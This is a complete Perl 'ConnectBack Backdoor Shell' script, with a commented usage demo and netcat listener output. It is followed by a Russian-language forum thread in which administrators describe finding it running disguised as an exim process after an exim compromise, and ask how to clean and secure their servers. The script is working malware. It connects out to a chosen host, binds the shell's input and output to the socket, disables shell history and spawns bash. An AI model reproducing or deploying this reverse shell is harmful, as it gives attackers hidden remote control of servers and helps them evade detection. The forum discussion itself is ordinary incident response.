# We Are :LorD-C0d3r-NT-\x90
# Email:LorD@ihsteam.com
#
#lord@SlackwareLinux:/home/programing$ perl dc.pl
#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
#
#Usage: dc.pl [Host] [Port]
#
#Ex: dc.pl 127.0.0.1 2121
#lord@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121
#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
#
#[*] Resolving HostName
#[*] Connecting... 127.0.0.1
#[*] Spawning Shell
#[*] Connected to remote host#bash-2.05b# nc -vv -l -p 2121
#listening on [any] 2121 ...
#connect to [127.0.0.1] from localhost [127.0.0.1] 32769
#--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
#
#--==Systeminfo==--
#Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux
#
#--==Userinfo==--
#uid=1001(lord) gid=100(users) groups=100(users)
#
#--==Directory==--
#/root
#
#--==Shell==--
#
$system = '/bin/bash';
$ARGC=@ARGV;
print "--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- \n\n";
if ($ARGC!=2) {
print "Usage: $0 [Host] [Port] \n\n";
die "Ex: $0 127.0.0.1 2121 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
print "[*] Resolving HostName\n";
print "[*] Connecting... $ARGV[0] \n";
print "[*] Spawning Shell \n";
print "[*] Connected to remote host \n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- \n\n";
system("unset HISTFILE; unset SAVEHIST ;echo --==Systeminfo==-- ; uname -a;echo;
echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- ");
system($system);
#EOFВ процессах было как:
exim 32133 99.8 0.0 88560 4064 ? R 19:04 26:38 /usr/sbin/apache2/log
Херачило на всю катушку.Процесс грохнул. Экзим обновил до exim.x86_64 0:4.63-5.el5_5.2. В /usr/sbin/ ничего похожего нет.
Поискал по овнеру exim, нашел некоторые следы деятельности в /var/spool/exim/
Сейчас никаких левых процессов и коннектов нет.
Подскажите как еще проверить систему на чистоту?Подскажите как
Переставить систему
также систему на centos поломали. есть ли версия 4.70 exim.x86_64 для centos??
> также систему на centos поломали. есть ли версия 4.70 exim.x86_64 для centos??Для CentOS вышло обновление. Это не 4.70, но уязвимость там пофикшена.
ещё и dovecot накрылся(( вся входящая почта пропала и новые письма не приходят( это только у меня такой эффект вышел?
Вопрос к профессионалам от Нуба
Можно ли защититься от этой проблемы косвенным образом.
Чтобы не перехватили root - Поставить при авторизации запрет на доступ для всех по IP кроме одного своего ?